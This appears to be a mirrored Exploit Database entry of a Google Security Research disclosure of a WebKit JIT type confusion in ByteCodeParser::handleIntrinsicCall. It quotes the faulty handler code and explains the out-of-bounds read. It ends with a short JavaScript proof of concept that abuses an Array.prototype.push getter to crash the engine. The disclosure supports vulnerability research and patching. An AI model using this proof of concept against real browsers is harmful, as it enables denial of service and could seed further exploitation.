WebKit JIT – ‘ByteCodeParser::handleIntrinsicCall’ Type Confusion

• Exploit Database
• 22 阅读

• 作者： Google Security Research
  日期： 2018-11-29
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/45911/

• /*
  case ArrayPushIntrinsic: {
  ...
  
  if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
  return false;
  
  ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
  
  ...
  }
  
  This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
  
  Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
  
  PoC:
  */
  
  Array.prototype.__defineGetter__('a', Array.prototype.push);
  
  function opt() {
  let arr = new Array(1, 2, 3, 4);
  arr['a' + ''];
  }
  
  for (let i = 0; i < 1000; i++) {
  opt();
  }